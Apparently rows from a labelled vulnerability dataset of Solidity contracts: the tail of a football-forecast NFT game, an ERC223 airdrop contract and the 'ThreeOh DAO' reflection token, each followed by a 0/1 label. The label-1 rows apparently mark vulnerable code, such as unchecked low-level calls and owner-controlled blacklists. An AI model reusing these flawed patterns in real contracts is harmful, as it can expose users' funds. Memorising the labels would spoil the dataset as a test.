if(forecasts[tokenForecasts[_tokenId][index]].forecastBlockNumber < _blockNumber){
if(isReleased) {
if (games[forecasts[tokenForecasts[_tokenId][index]].gameId].gameDate < block.timestamp) {
forecastCount = forecastCount + 1;
}
} else {
forecastCount = forecastCount + 1;
}
}
}
if(tokens[_tokenId].parentId != 0){
forecastCount = forecastCount.add(getForecastCount(tokens[_tokenId].parentId,
tokens[_tokenId].createBlockNumber, isReleased));
}
return forecastCount;
}
function getScore(uint _tokenId) public view returns (uint){
uint[] memory _gameForecast = new uint[](65);
return getScore(_tokenId, block.number, _gameForecast);
}
function getScore(uint _tokenId, uint _blockNumber, uint[] _gameForecast) public view returns (uint){
uint score = 0;
uint[] memory _forecasts = forecastOfToken(_tokenId);
if (_forecasts.length > 0){
uint256 _index;
for(_index = _forecasts.length - 1; _index >= 0 && _index < _forecasts.length ; _index--){
if(forecasts[_forecasts[_index]].forecastBlockNumber < _blockNumber &&
_gameForecast[forecasts[_forecasts[_index]].gameId] == 0 &&
block.timestamp > games[forecasts[_forecasts[_index]].gameId].gameDate
){
score = score.add(calculateScore(
forecasts[_forecasts[_index]].gameId,
forecasts[_forecasts[_index]].forecastData
));
_gameForecast[forecasts[_forecasts[_index]].gameId] = forecasts[_forecasts[_index]].forecastBlockNumber;
}
}
}
if(tokens[_tokenId].parentId != 0){
score = score.add(getScore(tokens[_tokenId].parentId, tokens[_tokenId].createBlockNumber, _gameForecast));
}
return score;
}
function getForecastScore(uint256 _forecastId) external view returns (uint256) {
require(_forecastId < forecasts.length);
return calculateScore(
forecasts[_forecastId].gameId,
forecasts[_forecastId].forecastData
);
}
function calculateScore(uint256 _gameId, uint d)
public view returns (uint256){
require(block.timestamp > games[_gameId].gameDate);
uint256 _shotB = (d & 0xff);
d = d >> 8;
uint256 _shotA = (d & 0xff);
d = d >> 8;
uint odds8 = (d & 0xff);
bool _odds = odds8 == 1 ? true: false;
d = d >> 8;
uint256 _goalB = (d & 0xff);
d = d >> 8;
uint256 _goalA = (d & 0xff);
d = d >> 8;
Game memory cGame = games[_gameId];
uint256 _score = 0;
bool isDoubleScore = true;
if(cGame.shotA == _shotA) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if(cGame.shotB == _shotB) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if(cGame.odds == _odds) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if((cGame.goalA + cGame.goalB) == (_goalA + _goalB)) {
_score = _score.add(2);
} else {
isDoubleScore = false;
}
if(cGame.goalA == _goalA && cGame.goalB == _goalB) {
_score = _score.add(3);
} else {
isDoubleScore = false;
}
if( ((cGame.goalA > cGame.goalB) && (_goalA > _goalB)) ||
((cGame.goalA < cGame.goalB) && (_goalA < _goalB)) ||
((cGame.goalA == cGame.goalB) && (_goalA == _goalB))) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if(isDoubleScore) {
_score = _score.mul(2);
}
return _score;
}
function setBasePrice(uint256 _val) external onlyAdmin {
require(_val > 0);
basePrice = _val;
}
function setGameCloneFee(uint256 _val) external onlyAdmin {
require(_val <= 10000);
gameCloneFee = _val;
}
function setPrizeFundFactor(uint256 _val) external onlyAdmin {
require(_val <= 10000);
prizeFundFactor = _val;
}
function setPriceFactor(uint256 _val) external onlyAdmin {
priceFactor = _val;
}
function gameEdit(uint256 _gameId, uint64 gameDate,
Teams teamA, Teams teamB)
external onlyAdmin {
games[_gameId].gameDate = gameDate;
games[_gameId].teamA = teamA;
games[_gameId].teamB = teamB;
emit GameChanged(_gameId, games[_gameId].gameDate, games[_gameId].teamA, games[_gameId].teamB,
0, 0, true, 0, 0);
}
function gameResult(uint256 _gameId, uint256 goalA, uint256 goalB, bool odds, uint256 shotA, uint256 shotB)
external onlyAdmin {
games[_gameId].goalA = goalA;
games[_gameId].goalB = goalB;
games[_gameId].odds = odds;
games[_gameId].shotA = shotA;
games[_gameId].shotB = shotB;
emit GameChanged(_gameId, games[_gameId].gameDate, games[_gameId].teamA, games[_gameId].teamB,
goalA, goalB, odds, shotA, shotB);
}
function toForecastData(uint8 _goalA, uint8 _goalB, bool _odds, uint8 _shotA, uint8 _shotB)
pure internal returns (uint) {
uint forecastData;
forecastData = forecastData << 8 | _goalA;
forecastData = forecastData << 8 | _goalB;
uint8 odds8 = _odds ? 1 : 0;
forecastData = forecastData << 8 | odds8;
forecastData = forecastData << 8 | _shotA;
forecastData = forecastData << 8 | _shotB;
return forecastData;
}
}
contract HWCIntegration is BaseGameLogic {
event NewHWCRegister(address owner, string aD, string aW);
constructor(string _name, string _symbol) BaseGameLogic(_name, _symbol) public {}
struct HWCInfo {
string aDeposit;
string aWithdraw;
uint deposit;
uint index1;
}
uint public cHWCtoEth = 0;
uint256 public prizeFundHWC = 0;
mapping (address => HWCInfo) hwcAddress;
address[] hwcAddressList;
function _addToFundHWC(uint256 _val) internal whenNotPaused {
prizeFundHWC = prizeFundHWC.add(_val.mul(prizeFundFactor).div(10000));
}
function registerHWCDep(string _a) public {
require(bytes(_a).length == 34);
hwcAddress[msg.sender].aDeposit = _a;
if(hwcAddress[msg.sender].index1 == 0){
hwcAddress[msg.sender].index1 = hwcAddressList.push(msg.sender);
}
emit NewHWCRegister(msg.sender, _a, '');
}
function registerHWCWit(string _a) public {
require(bytes(_a).length == 34);
hwcAddress[msg.sender].aWithdraw = _a;
if(hwcAddress[msg.sender].index1 == 0){
hwcAddress[msg.sender].index1 = hwcAddressList.push(msg.sender);
}
emit NewHWCRegister(msg.sender, '', _a);
}
function getHWCAddressCount() public view returns (uint){
return hwcAddressList.length;
}
function getHWCAddressByIndex(uint _index) public view returns (string aDeposit, string aWithdraw, uint d) {
require(_index < hwcAddressList.length);
return getHWCAddress(hwcAddressList[_index]);
}
function getHWCAddress(address _val) public view returns (string aDeposit, string aWithdraw, uint d) {
aDeposit = hwcAddress[_val].aDeposit;
aWithdraw = hwcAddress[_val].aWithdraw;
d = hwcAddress[_val].deposit;
}
function setHWCDeposit(address _user, uint _val) external onlyAdmin {
hwcAddress[_user].deposit = _val;
}
function createTokenByHWC(address _userTo, uint256 _parentId) external onlyAdmin whenNotPaused returns (uint) {
uint256 tokenPrice = basePrice.div(1e10).mul(cHWCtoEth);
if(_parentId > 0) {
tokenPrice = calculateTokenPrice(_parentId);
tokenPrice = tokenPrice.div(1e10).mul(cHWCtoEth);
uint gameFee = tokenPrice.mul(gameCloneFee).div(10000);
_addToFundHWC(gameFee);
uint256 ownerProceed = tokenPrice.sub(gameFee);
address tokenOwnerAddress = tokenOwner[_parentId];
hwcAddress[tokenOwnerAddress].deposit = hwcAddress[tokenOwnerAddress].deposit + ownerProceed;
} else {
_addToFundHWC(tokenPrice);
}
return _createToken(_parentId, _userTo);
}
function setCourse(uint _val) external onlyAdmin {
cHWCtoEth = _val;
}
}
contract SolutionGame is HWCIntegration {
uint256 countWinnerPlace;
mapping (uint256 => uint256) internal prizeDistribution;
mapping (uint256 => uint256) internal prizesByPlace;
mapping (uint256 => uint256) internal scoreByPlace;
mapping (uint => uint) winnerMap;
uint[] winnerList;
mapping (uint256 => uint256) internal prizesByPlaceHWC;
bool isWinnerTime = false;
modifier whenWinnerTime() {
require(isWinnerTime);
_;
}
constructor(string _name, string _symbol) HWCIntegration(_name, _symbol) public {
countWinnerPlace = 0;
}
function() external payable {
_addToFund(msg.value, true);
}
function setWinnerTimeStatus(bool _status) external onlyOwner {
isWinnerTime = _status;
}
function withdrawBalance() external onlyOwner {
owner.transfer(address(this).balance.sub(prizeFund));
}
function setCountWinnerPlace(uint256 _val) external onlyOwner {
countWinnerPlace = _val;
}
function setWinnerPlaceDistribution(uint256 place, uint256 _val) external onlyOwner {
require(place <= countWinnerPlace);
require(_val <= 10000);
uint256 testVal = 0;
uint256 index;
for (index = 1; index <= countWinnerPlace; index ++) {
if(index != place) {
testVal = testVal + prizeDistribution[index];
}
}
testVal = testVal + _val;
require(testVal <= 10000);
prizeDistribution[place] = _val;
}
function setCountWinnerByPlace(uint256 place, uint256 _winnerCount, uint256 _winnerScore) public onlyOwner whenPaused {
require(_winnerCount > 0);
require(place <= countWinnerPlace);
prizesByPlace[place] = prizeFund.mul(prizeDistribution[place]).div(10000).div(_winnerCount);
prizesByPlaceHWC[place] = prizeFundHWC.mul(prizeDistribution[place]).div(10000).div(_winnerCount);
scoreByPlace[place] = _winnerScore;
}
function checkIsWinner(uint _tokenId) public view whenPaused onlyOwnerOf(_tokenId)
returns (uint place) {
place = 0;
uint score = getScore(_tokenId);
for(uint index = 1; index <= countWinnerPlace; index ++) {
if (score == scoreByPlace[index]) {
place = index;
break;
}
}
}
function getMyPrize() external whenWinnerTime {
uint[] memory tokenList = tokensOfOwner(msg.sender);
for(uint index = 0; index < tokenList.length; index ++) {
getPrizeByToken(tokenList[index]);
}
}
function getPrizeByToken(uint _tokenId) public whenWinnerTime onlyOwnerOf(_tokenId) {
uint place = checkIsWinner(_tokenId);
require (place > 0);
uint prize = prizesByPlace[place];
if(prize > 0) {
if(winnerMap[_tokenId] == 0) {
winnerMap[_tokenId] = prize;
winnerList.push(_tokenId);
address _owner = tokenOwner[_tokenId];
if(_owner != address(0)){
uint hwcPrize = prizesByPlaceHWC[place];
hwcAddress[_owner].deposit = hwcAddress[_owner].deposit + hwcPrize;
_owner.transfer(prize);
}
}
}
}
function getWinnerList() external view onlyAdmin returns (uint[]) {
return winnerList;
}
function getWinnerInfo(uint _tokenId) external view onlyAdmin returns (uint){
return winnerMap[_tokenId];
}
function getResultTable(uint _start, uint _count) external view returns (uint[]) {
uint[] memory results = new uint[](_count);
for(uint index = _start; index < tokens.length && index < (_start + _count); index++) {
results[(index - _start)] = getScore(index);
}
return results;
}
} | 0 | 1,391 |
pragma solidity ^0.4.23;
contract ERC223Interface {
uint public totalSupply;
uint8 public decimals;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AirDrop is Ownable {
using SafeMath for uint256;
uint public airDropAmount;
mapping ( address => bool ) public invalidAirDrop;
address[] public arrayAirDropReceivers;
bool public stop = false;
ERC223Interface public erc20;
uint256 public startTime;
uint256 public endTime;
event LogAirDrop(address indexed receiver, uint amount);
event LogStop();
event LogStart();
event LogWithdrawal(address indexed receiver, uint amount);
constructor(uint256 _startTime, uint256 _endTime, uint _airDropAmount, address _tokenAddress) public {
require(_startTime >= now &&
_endTime >= _startTime &&
_airDropAmount > 0 &&
_tokenAddress != address(0)
);
startTime = _startTime;
endTime = _endTime;
erc20 = ERC223Interface(_tokenAddress);
airDropAmount = _airDropAmount;
}
function tokenFallback(address _from, uint _value, bytes _data) {}
function isValidAirDropForAll() public view returns (bool) {
bool validNotStop = !stop;
bool validAmount = getRemainingToken() >= airDropAmount;
bool validPeriod = now >= startTime && now <= endTime;
return validNotStop && validAmount && validPeriod;
}
function isValidAirDropForIndividual() public view returns (bool) {
bool validNotStop = !stop;
bool validAmount = getRemainingToken() >= airDropAmount;
bool validPeriod = now >= startTime && now <= endTime;
bool validReceiveAirDropForIndividual = !invalidAirDrop[msg.sender];
return validNotStop && validAmount && validPeriod && validReceiveAirDropForIndividual;
}
function receiveAirDrop() public {
require(isValidAirDropForIndividual());
invalidAirDrop[msg.sender] = true;
arrayAirDropReceivers.push(msg.sender);
erc20.transfer(msg.sender, airDropAmount);
emit LogAirDrop(msg.sender, airDropAmount);
}
function toggle() public onlyOwner {
stop = !stop;
if (stop) {
emit LogStop();
} else {
emit LogStart();
}
}
function withdraw(address _address) public onlyOwner {
require(stop || now > endTime);
require(_address != address(0));
uint tokenBalanceOfContract = getRemainingToken();
erc20.transfer(_address, tokenBalanceOfContract);
emit LogWithdrawal(_address, tokenBalanceOfContract);
}
function getTotalNumberOfAddressesReceivedAirDrop() public view returns (uint256) {
return arrayAirDropReceivers.length;
}
function getRemainingToken() public view returns (uint256) {
return erc20.balanceOf(this);
}
function getTotalAirDroppedAmount() public view returns (uint256) {
return airDropAmount.mul(arrayAirDropReceivers.length);
}
} | 1 | 3,604 |
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ThreeOh is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) public _firstBuyTime;
mapping (address => uint256) public _presaleBalance;
mapping (address => uint256) public _presaleLiquidated;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address payable public dev;
address payable public advocacy;
address public _burnPool = 0x0000000000000000000000000000000000000000;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 21 * 10**11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "ThreeOh DAO";
string private _symbol = "3OH";
uint8 private _decimals = 9;
uint256 public _taxFee = 100;
uint256 public _advocacyFee = 800;
uint256 public _developmentFee = 100;
uint256 public _dayTraderMultiplicator = 25;
bool public transfersEnabled;
uint256 private launchBlock;
uint256 private launchTime;
uint256 private blocksLimit;
uint256 public _pendingDevelopmentFees;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxWalletHolding = 34 * 10**9 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 2 * 10**9 * 10**9;
uint256 public _marketingDevAllocation = 50 * 10**9 * 10**9;
uint256 public _burnAllocation = 400 * 10**9 * 10**9;
uint256 public _exchangeAllocation = 850 * 10**9 * 10**9;
uint256 public _periodLiquidationLength = 7 days;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _devWallet, address payable _advocacyWallet, address _marketingDevWallet, address _exchangeWallet) public {
dev = _devWallet;
advocacy = _advocacyWallet;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_burnPool] = true;
_isExcludedFromFee[_advocacyWallet] = true;
_isExcludedFromFee[_marketingDevWallet] = true;
_isExcludedFromFee[_exchangeWallet] = true;
_isExcluded[_burnPool] = true;
_excluded.push(_burnPool);
_isExcluded[uniswapV2Pair] = true;
_excluded.push(uniswapV2Pair);
_isExcluded[address(this)] = true;
_excluded.push(address(this));
uint256 currentRate = _getRate();
_rOwned[_burnPool] = _burnAllocation.mul(currentRate);
_tOwned[_burnPool] = _burnAllocation;
currentRate = _getRate();
_rOwned[_marketingDevWallet] = _marketingDevAllocation.mul(currentRate);
_rOwned[_exchangeWallet] = _exchangeAllocation.mul(currentRate);
_rOwned[_msgSender()] = _rTotal - _rOwned[_marketingDevWallet] - _rOwned[_exchangeWallet] - _rOwned[_burnPool];
emit Transfer(address(0), _msgSender(), _tTotal);
emit Transfer(_msgSender(), _marketingDevWallet, _marketingDevAllocation);
emit Transfer(_msgSender(), _exchangeWallet, _exchangeAllocation);
emit Transfer(_msgSender(), _burnPool, _burnAllocation);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
else return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address payable [] memory holders, uint256 [] memory balances) public onlyOwner() {
require(holders.length == balances.length, "Incorrect input");
uint256 deployer_balance = _rOwned[_msgSender()];
uint256 currentRate = _getRate();
for (uint8 i = 0; i < holders.length; i++) {
uint256 balance = balances[i] * 10 ** 15;
uint256 new_r_owned = currentRate.mul(balance);
_rOwned[holders[i]] = _rOwned[holders[i]] + new_r_owned;
_presaleBalance[holders[i]] = _presaleBalance[holders[i]] + balance;
emit Transfer(_msgSender(), holders[i], balance);
deployer_balance = deployer_balance.sub(new_r_owned);
}
_rOwned[_msgSender()] = deployer_balance;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTax(uint256 _taxType, uint _taxSize) external onlyOwner() {
if (_taxType == 1) {
_taxFee = _taxSize;
require(_taxFee <= 100);
}
else if (_taxType == 2) {
_developmentFee = _taxSize;
require(_developmentFee <= 200);
}
else if (_taxType == 3) {
_advocacyFee = _taxSize;
require(_advocacyFee <= 900);
}
else if (_taxType == 4) {
_dayTraderMultiplicator = _taxSize;
}
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function enableTransfers(uint256 _blocksLimit) public onlyOwner() {
transfersEnabled = true;
launchBlock = block.number;
launchTime = block.timestamp;
blocksLimit = _blocksLimit;
}
function setSniperEnabled(bool _enabled, address sniper) public onlyOwner() {
_isSniper[sniper] = _enabled;
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeOperations(uint256 tAmount, uint256 feeType) private returns (uint256) {
uint256 currentRate = _getRate();
uint256 tTransferAmount = tAmount;
uint256 taxMultiplicator = 10;
if (feeType == 2) taxMultiplicator = _dayTraderMultiplicator;
uint256 tFee = calculateFee(tAmount, _taxFee, taxMultiplicator);
uint256 tAdvocacy = calculateFee(tAmount, _advocacyFee, taxMultiplicator);
uint256 tDevelopment = calculateFee(tAmount, _developmentFee, taxMultiplicator);
_pendingDevelopmentFees = _pendingDevelopmentFees.add(tDevelopment);
tTransferAmount = tAmount - tFee - tAdvocacy - tDevelopment;
uint256 tTaxes = tAdvocacy.add(tDevelopment);
_reflectFee(tFee.mul(currentRate), tFee);
_rOwned[address(this)] = _rOwned[address(this)].add(tTaxes.mul(currentRate));
_tOwned[address(this)] = _tOwned[address(this)].add(tTaxes);
return tTransferAmount;
}
function calculateFee(uint256 _amount, uint256 _taxRate, uint256 _taxMultiplicator) private pure returns (uint256) {
return _amount.mul(_taxRate).div(10**4).mul(_taxMultiplicator).div(10);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
if (_firstBuyTime[to] == 0) _firstBuyTime[to] = block.timestamp;
uint256 feeType = 1;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
feeType = 0;
}
else {
require(transfersEnabled, "Transfers are not enabled now");
if (to == uniswapV2Pair || (to != uniswapV2Pair && from != uniswapV2Pair)) {
require(!_isSniper[from], "SNIPER!");
if (to != uniswapV2Pair && from != uniswapV2Pair) {
feeType = 0;
}
if (_presaleBalance[from] > 0) {
uint256 maxLiquidation = (block.timestamp - launchTime).div(_periodLiquidationLength) + 1;
if (maxLiquidation <= 4) {
maxLiquidation = maxLiquidation.mul(_presaleBalance[from]).div(4);
require((_presaleLiquidated[from] + amount) < maxLiquidation, "Presale vesting exceeded");
}
_presaleLiquidated[from] = _presaleLiquidated[from] + amount;
if (_firstBuyTime[from] == 0) _firstBuyTime[from] = launchTime;
}
if (_firstBuyTime[from] != 0 && (_firstBuyTime[from] + (24 hours) > block.timestamp) ) {
feeType = 2;
}
}
if (from == uniswapV2Pair) {
if (block.number <= (launchBlock + blocksLimit)) _isSniper[to] = true;
}
}
_tokenTransfer(from, to, amount, feeType);
if (!_isExcludedFromFee[to] && (to != uniswapV2Pair)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded");
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 payDevelopment = _pendingDevelopmentFees.mul(newBalance).div(contractTokenBalance);
if (payDevelopment <= address(this).balance) dev.call{ value: payDevelopment }("");
if (address(this).balance > 0) advocacy.call{ value: address(this).balance }("");
_pendingDevelopmentFees = 0;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 feeType) private {
uint256 currentRate = _getRate();
uint256 tTransferAmount = amount;
if (feeType != 0) {
tTransferAmount = _takeOperations(amount, feeType);
}
uint256 rTransferAmount = tTransferAmount.mul(currentRate);
uint256 rAmount = amount.mul(currentRate);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
} else {
_transferStandard(sender, recipient, rAmount, amount, tTransferAmount, rTransferAmount);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
} | 1 | 2,633 |
